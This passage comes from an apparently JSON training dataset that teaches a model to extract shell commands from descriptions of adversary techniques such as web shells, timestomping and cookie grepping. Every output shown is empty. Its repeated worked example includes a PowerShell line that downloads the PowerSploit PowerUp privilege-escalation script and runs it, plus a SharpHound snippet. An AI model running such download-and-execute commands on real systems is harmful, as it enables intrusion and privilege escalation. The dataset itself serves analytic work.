https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry of the machine to disable remote desktop protocol.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon execution, a javascript block will be placed in the registry for persistence.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.\n\nUpon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test simulates pulling files using SCP on a Windows environment.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.\n\nUpon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Stomps on the modification timestamp of a file\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.\nIdea from APTSimulator.\ncmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) 